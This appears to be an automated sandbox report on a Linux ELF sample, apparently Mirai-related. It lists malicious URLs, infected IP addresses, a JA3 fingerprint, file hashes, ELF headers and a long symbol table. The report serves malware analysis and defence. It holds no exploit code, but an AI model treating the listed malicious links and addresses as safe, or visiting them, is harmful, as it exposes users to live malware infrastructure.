	https://sociallinks.lt.acemlnb.com/Prod/link-tracker?redirectUrl=aHR0cHMlM0ElMkYlMkZzb2NpYWxsaW5rcy5pbyUyRm9zaW50LXdlYmluYXJzJTJGd2ViaW5hci1lbmhhbmNpbmctYW1sLWludmVzdGlnYXRpb25zLXdpdGgtb3NpbnQlM0Z1dG1fc291cmNlJTNEZW1haWwlMjZ1dG1fbWVkaXVtJTNEd2ViaW5hciUyNnV0bV9jYW1wYWlnbiUzRGFtbF8wNF8yNA==&sig=bEXSTLMngghhoUjnhUiGrKrf6GsWGU1eAwJ54z8GbBH&iat=1712921684&a=%7C%7C612077526%7C%7C&account=sociallinks%2Eactivehosted%2Ecom&email=I4809riumLU7t4jf%2BoK9uHOsQeuYYw6CYkuCsQDv%3AFRtI69CZolNJDOUhiGMO%2BO9bqaecpEWw&s=f7847248dd0f6e35d5eb6514571a7081&i=993A1018A3A5488	Get hash	malicious	Unknown	Browse	156.146.36.23
	https://blog.innovatebuildingsolutions.com/	Get hash	malicious	Unknown	Browse	156.146.36.24
	https://sociteclementleroy-mmail.com/calendar/NjA3Ng==/Zjc1OTFhZDc0YTllOGQ3ODIxZjM4MGE3Zjk0YTI5OWRlODU5ZWYwZGM1N2Q3OTQx/ZTdmNmY3NWI3Mzk3NzU1ZjQ2NmUyZTIwZDE3YWJhZjYzZTM3NjQxMDVkODkwNDA0	Get hash	malicious	Unknown	Browse	89.187.177.16
	http://www.chaduco.com/.	Get hash	malicious	Unknown	Browse	195.181.164.15
	https://www.newtowninstitute.org	Get hash	malicious	Unknown	Browse	89.187.183.14
	https://www.1stoptionhomeloans.com/	Get hash	malicious	Unknown	Browse	89.187.177.16
ATT-INTERNET4US	SecuriteInfo.com.Linux.Siggen.9999.15399.29417.elf	Get hash	malicious	Mirai	Browse	75.51.137.159
	SecuriteInfo.com.Linux.Siggen.9999.4607.18461.elf	Get hash	malicious	Mirai	Browse	99.37.122.120
	SecuriteInfo.com.Linux.Siggen.9999.27109.28207.elf	Get hash	malicious	Mirai	Browse	108.74.62.90
	tWpGuzQQoW.elf	Get hash	malicious	Mirai	Browse	45.25.228.81
	oZjFHQfRv5.elf	Get hash	malicious	Mirai	Browse	74.169.115.21
	t3CBipL4lt.elf	Get hash	malicious	Mirai	Browse	45.18.128.105
	PcYRqnCfZK.elf	Get hash	malicious	Mirai	Browse	66.139.17.245
	ToUXp7NTcb.elf	Get hash	malicious	Mirai	Browse	23.121.232.20
	o2mV9s50D5.elf	Get hash	malicious	Mirai	Browse	209.72.124.86
	w17yCE18dz.elf	Get hash	malicious	Mirai	Browse	12.184.237.64

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fb4726d465c5f28b84cd6d14cedd13a7	SecuriteInfo.com.Linux.Siggen.9999.27109.28207.elf	Get hash	malicious	Mirai	Browse	34.243.160.129
	IDWdTWmOCZ.elf	Get hash	malicious	Unknown	Browse	34.243.160.129
	g5FxNXoqH7.elf	Get hash	malicious	Mirai	Browse	34.243.160.129
	yiq277KT17.elf	Get hash	malicious	Mirai	Browse	34.243.160.129
	SecuriteInfo.com.Linux.Siggen.9999.13380.14766.elf	Get hash	malicious	Unknown	Browse	34.243.160.129
	AK8vX17uEL.elf	Get hash	malicious	Mirai	Browse	34.243.160.129
	ZHstH5alIs.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.243.160.129
	6meqMTlKTy.elf	Get hash	malicious	Unknown	Browse	34.243.160.129
	lZrtntfkBH.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.243.160.129
	JaPFohvjDj.sample	Get hash	malicious	Unknown	Browse	34.243.160.129

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
Entropy (8bit):	6.373009552935229
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	VkiGKeyI3L.elf
File size:	107'504 bytes
MD5:	669fd3cb15554ae292bac7ad853afc4d
SHA1:	10853e2f3bcc3c74c5bdbe1659da502b8691fb91
SHA256:	dc489ed62a36b034c22dd55d0d3f7834272135376db5858f6517688e2147857f
SHA512:	968f1aae47afdf7a89019b43ef0500651974c03daddac916cd906013a38083447cf50343bc07bb2b58c47d94673ba7241227356f95ce335ee4e6ae1badbbe998
SSDEEP:	1536:tiCFkE9Q8RMU9Fqcpa9CSbiXIS0kJ/gywcQhUYZXbtN1EOzPgfhKPSFJyekdy:tiCFkE9Q8RZ9ssMiXIS0kJZRY3EhtQy
TLSH:	F6B34BC166A3D9F7CC820B7512E7EB314632F97B272D9A46E35CAEB55E066C0704720E
File Content Preview:	.ELF........................4....S......4. ...(.....................X8..X8...............@..............`:..............LE..L...L...................Q.td............................U..S........D...h........[]...$.............U......=.....t..5..............

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048184
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	4
Section Header Offset:	86916
Section Header Size:	40
Number of Section Headers:	19
Header String Table Index:	16

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80480b4	0xb4	0x1c	0x0	0x6	AX	0	0	1
.text	PROGBITS	0x80480d0	0xd0	0x11e37	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x8059f07	0x11f07	0x17	0x0	0x6	AX	0	0	1
.rodata	PROGBITS	0x8059f20	0x11f20	0x1938	0x0	0x2	A	0	0	4
.eh_frame	PROGBITS	0x805c000	0x14000	0x54c	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x805c54c	0x1454c	0x8	0x0	0x403	WAT	0	0	4
.ctors	PROGBITS	0x805c54c	0x1454c	0x8	0x0	0x3	WA	0	0	4
.dtors	PROGBITS	0x805c554	0x14554	0x8	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x805c55c	0x1455c	0x4	0x0	0x3	WA	0	0	4
.got.plt	PROGBITS	0x805c560	0x14560	0xc	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x805c580	0x14580	0x260	0x0	0x3	WA	0	0	32
.bss	NOBITS	0x805c7e0	0x147e0	0x3280	0x0	0x3	WA	0	0	32
.stab	PROGBITS	0x0	0x147e0	0xfc	0xc	0x0		14	0	4
.stabstr	STRTAB	0x0	0x148dc	0xdb	0x0	0x0		0	0	1
.comment	PROGBITS	0x0	0x149b7	0x948	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x152ff	0x84	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1567c	0x2bf0	0x10	0x0		18	251	4
.strtab	STRTAB	0x0	0x1826c	0x2184	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x13858	0x13858	6.5317	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x14000	0x805c000	0x805c000	0x7e0	0x3a60	4.5786	0x6	RW	0x1000	.eh_frame .tbss .ctors .dtors .jcr .got.plt .data .bss
TLS	0x1454c	0x805c54c	0x805c54c	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80480b4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80480d0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x8059f07	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x8059f20	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x805c000	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x805c54c	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x805c54c	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x805c554	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x805c55c	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x805c560	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x805c580	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x805c7e0	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
C.11.5136	.symtab	0x805b124	24	OBJECT	<unknown>	DEFAULT	4
LOCAL_ADDR	.symtab	0x805f3fc	4	OBJECT	<unknown>	DEFAULT	12
POPBX1	.symtab	0x8057d6f	0	NOTYPE	<unknown>	DEFAULT	2
POPBX1	.symtab	0x8057dcf	0	NOTYPE	<unknown>	DEFAULT	2
POPBX1	.symtab	0x8057e2f	0	NOTYPE	<unknown>	DEFAULT	2
PUSHBX1	.symtab	0x8057d5b	0	NOTYPE	<unknown>	DEFAULT	2
PUSHBX1	.symtab	0x8057dbb	0	NOTYPE	<unknown>	DEFAULT	2
PUSHBX1	.symtab	0x8057e1b	0	NOTYPE	<unknown>	DEFAULT	2
RESTBX1	.symtab	0x8057d19	0	NOTYPE	<unknown>	DEFAULT	2
SAVEBX1	.symtab	0x8057d0c	0	NOTYPE	<unknown>	DEFAULT	2
_Exit	.symtab	0x8058324	66	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x805c560	0	OBJECT	<unknown>	HIDDEN	10
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_L_lock_103	.symtab	0x8058c02	16	FUNC	<unknown>	DEFAULT	2
_L_lock_12	.symtab	0x8059473	16	FUNC	<unknown>	DEFAULT	2
_L_lock_140	.symtab	0x80594b3	16	FUNC	<unknown>	DEFAULT	2
_L_lock_160	.symtab	0x80594d3	16	FUNC	<unknown>	DEFAULT	2
_L_lock_17	.symtab	0x805915e	10	FUNC	<unknown>	DEFAULT	2
_L_lock_18	.symtab	0x8058bc8	13	FUNC	<unknown>	DEFAULT	2
_L_lock_191	.symtab	0x80594f3	13	FUNC	<unknown>	DEFAULT	2
_L_lock_198	.symtab	0x8058ed0	16	FUNC	<unknown>	DEFAULT	2
_L_lock_209	.symtab	0x8058ee0	16	FUNC	<unknown>	DEFAULT	2
_L_lock_29	.symtab	0x8059483	16	FUNC	<unknown>	DEFAULT	2
_L_lock_32	.symtab	0x80590d1	10	FUNC	<unknown>	DEFAULT	2
_L_lock_54	.symtab	0x8058bd5	16	FUNC	<unknown>	DEFAULT	2
_L_lock_70	.symtab	0x8057b7c	16	FUNC	<unknown>	DEFAULT	2
_L_unlock_102	.symtab	0x80594a3	16	FUNC	<unknown>	DEFAULT	2
_L_unlock_113	.symtab	0x8058c12	13	FUNC	<unknown>	DEFAULT	2
_L_unlock_152	.symtab	0x80594c3	16	FUNC	<unknown>	DEFAULT	2
_L_unlock_167	.symtab	0x8057b8c	13	FUNC	<unknown>	DEFAULT	2
_L_unlock_170	.symtab	0x80594e3	16	FUNC	<unknown>	DEFAULT	2
_L_unlock_225	.symtab	0x8058ef0	13	FUNC	<unknown>	DEFAULT	2
_L_unlock_232	.symtab	0x8059500	13	FUNC	<unknown>	DEFAULT	2
_L_unlock_235	.symtab	0x8058efd	13	FUNC	<unknown>	DEFAULT	2
_L_unlock_40	.symtab	0x8059168	10	FUNC	<unknown>	DEFAULT	2
_L_unlock_61	.symtab	0x80590db	10	FUNC	<unknown>	DEFAULT	2
_L_unlock_66	.symtab	0x8058be5	16	FUNC	<unknown>	DEFAULT	2
_L_unlock_83	.symtab	0x8058bf5	13	FUNC	<unknown>	DEFAULT	2
_L_unlock_86	.symtab	0x8059493	16	FUNC	<unknown>	DEFAULT	2
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__CTOR_END__	.symtab	0x805c550	0	OBJECT	<unknown>	DEFAULT	7
__CTOR_LIST__	.symtab	0x805c54c	0	OBJECT	<unknown>	DEFAULT	7
__C_ctype_b	.symtab	0x805c6f0	4	OBJECT	<unknown>	DEFAULT	11
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x805b558	768	OBJECT	<unknown>	DEFAULT	4
__DTOR_END__	.symtab	0x805c558	0	OBJECT	<unknown>	DEFAULT	8
__DTOR_LIST__	.symtab	0x805c554	0	OBJECT	<unknown>	DEFAULT	8
__EH_FRAME_BEGIN__	.symtab	0x805c000	0	OBJECT	<unknown>	DEFAULT	5
__FRAME_END__	.symtab	0x805c548	0	OBJECT	<unknown>	DEFAULT	5
__GI___C_ctype_b	.symtab	0x805c6f0	4	OBJECT	<unknown>	HIDDEN	11
__GI___close	.symtab	0x8057d00	80	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x8057d0a	27	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x805c6f4	4	OBJECT	<unknown>	HIDDEN	11
__GI___errno_location	.symtab	0x8055bf4	13	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x8055624	83	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x8059510	204	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x8057d00	80	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x8055677	153	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x8057d50	91	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x8057e10	91	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x8057db0	91	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x8057d50	91	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x8057d5a	33	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x8057e10	91	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x8057e1a	33	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x8056150	32	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x8056170	32	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x805612c	36	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x8057f43	56	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x8057fa7	39	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x8057db0	91	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x8057dba	33	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x8058324	66	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x80570cc	191	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x8055d2c	84	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x80574fc	17	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x8055d80	40	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x8059bb4	44	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x8057d00	80	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x8055978	130	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x80589f2	44	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x8058a1e	44	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x8058788	618	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x8055da8	84	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x8057640	93	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x8058a4c	380	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x8055677	153	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x80592b4	447	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x8059040	145	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x8059510	204	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x80590e8	118	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x80595dc	94	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x8058c20	21	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x8057970	524	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x8058368	70	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x8059510	204	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x8058434	32	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x8058454	8	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x805845c	8	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x8058464	8	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x805846c	19	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x8057b9c	49	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x8058480	43	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x8055dfc	40	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x80584ac	8	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x8055d0c	31	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x8059800	148	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x80573bf	155	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x8055718	139	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x8059784	27	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x80557a4	43	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x8055e5c	32	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x8059e7c	90	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x8055c28	41	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x8055c54	37	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x8059e5c	30	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x8055c7c	50	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x80582a4	27	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x80584b4	59	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x80584f0	43	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x8058545	61	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x8057d50	91	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x8055a84	132	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x8057bd0	100	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x8057194	66	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x80572c0	95	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x8059e48	19	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x8057e10	91	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x8055b74	127	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x8058704	129	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x805580c	47	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x8055e7c	92	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x8055ed8	108	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x8058584	64	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x8055875	108	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x8055f44	92	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x8055fa0	108	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x80558e4	31	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x805600c	56	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x805745a	161	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x805822f	80	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x805606c	34	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x8056090	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x80560a4	136	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x8055904	97	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x8057c34	195	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x8056044	40	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x805731f	160	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x805963c	30	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x805965c	25	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x8059678	29	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x8059678	29	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x80596b4	45	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x8055cc4	48	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x8055cb0	19	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x8059760	35	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x8059698	26	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x80596e4	42	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x8055cf4	22	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x8059710	80	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x8057510	23	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x8057764	523	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x80597a0	96	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x8055968	16	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x80585c4	16	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x8057db0	91	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x805c55c	0	OBJECT	<unknown>	DEFAULT	9
__JCR_LIST__	.symtab	0x805c55c	0	OBJECT	<unknown>	DEFAULT	9
__app_fini	.symtab	0x805ce94	4	OBJECT	<unknown>	HIDDEN	12
__atexit_lock	.symtab	0x805c6cc	24	OBJECT	<unknown>	DEFAULT	11
__bss_start	.symtab	0x805c7e0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x8057f7b	44	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x8057d00	80	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x8057d0a	27	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x805c6f4	4	OBJECT	<unknown>	DEFAULT	11
__curbrk	.symtab	0x805f3f8	4	OBJECT	<unknown>	HIDDEN	12
__deregister_frame_info_bases	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__do_global_ctors_aux	.symtab	0x8059ee0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux	.symtab	0x80480e0	0	FUNC	<unknown>	DEFAULT	2
__dso_handle	.symtab	0x805c580	0	OBJECT	<unknown>	HIDDEN	11
__environ	.symtab	0x805ce8c	4	OBJECT	<unknown>	DEFAULT	12
__errno_location	.symtab	0x8055bf4	13	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x805c93c	4	OBJECT	<unknown>	HIDDEN	12
__fcntl_nocancel	.symtab	0x8055624	83	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x8059510	204	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x805c54c	0	NOTYPE	<unknown>	HIDDEN	6
__fini_array_start	.symtab	0x805c54c	0	NOTYPE	<unknown>	HIDDEN	6
__fork	.symtab	0x8057970	524	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x805fa30	4	OBJECT	<unknown>	HIDDEN	12
__fork_handlers	.symtab	0x805fa34	4	OBJECT	<unknown>	HIDDEN	12
__fork_lock	.symtab	0x805c940	4	OBJECT	<unknown>	HIDDEN	12
__get_pc_thunk_bx	.symtab	0x80480d0	0	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x80583b0	131	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x8059be0	280	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x805846c	19	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x8057b9c	49	FUNC	<unknown>	DEFAULT	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x805c54c	0	NOTYPE	<unknown>	HIDDEN	6
__init_array_start	.symtab	0x805c54c	0	NOTYPE	<unknown>	HIDDEN	6
__libc_accept	.symtab	0x8055d2c	84	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x8057d00	80	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x8055da8	84	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x8057e6c	86	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x8057ec2	79	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	6
__libc_fcntl	.symtab	0x8055677	153	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x8057970	524	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	6
__libc_nanosleep	.symtab	0x8058545	61	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x8057d50	91	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x8057e10	91	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x8055e7c	92	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x8055ed8	108	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x8055875	108	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x8055f44	92	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x8055fa0	108	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x805994a	513	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x805822f	80	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x805ce88	4	OBJECT	<unknown>	DEFAULT	12
__libc_write	.symtab	0x8057db0	91	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x80598a0	40	FUNC	<unknown>	HIDDEN	2
__lll_unlock_wake_private	.symtab	0x80598d0	32	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x8056da5	379	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x8056190	38	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x805c5f0	24	OBJECT	<unknown>	DEFAULT	11
__malloc_state	.symtab	0x805f6b8	888	OBJECT	<unknown>	DEFAULT	12
__malloc_trim	.symtab	0x8056d28	125	FUNC	<unknown>	DEFAULT	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x8057d50	91	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x8057d5a	33	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x805ce90	4	OBJECT	<unknown>	DEFAULT	12
__preinit_array_end	.symtab	0x805c54c	0	NOTYPE	<unknown>	HIDDEN	6
__preinit_array_start	.symtab	0x805c54c	0	NOTYPE	<unknown>	HIDDEN	6
__progname	.symtab	0x805c6e8	4	OBJECT	<unknown>	DEFAULT	11
__progname_full	.symtab	0x805c6ec	4	OBJECT	<unknown>	DEFAULT	11
__pthread_initialize_minimal	.symtab	0x8059b4b	15	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x8057f17	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x8057f14	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x8057f14	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x8057f14	3	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x8057f14	3	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
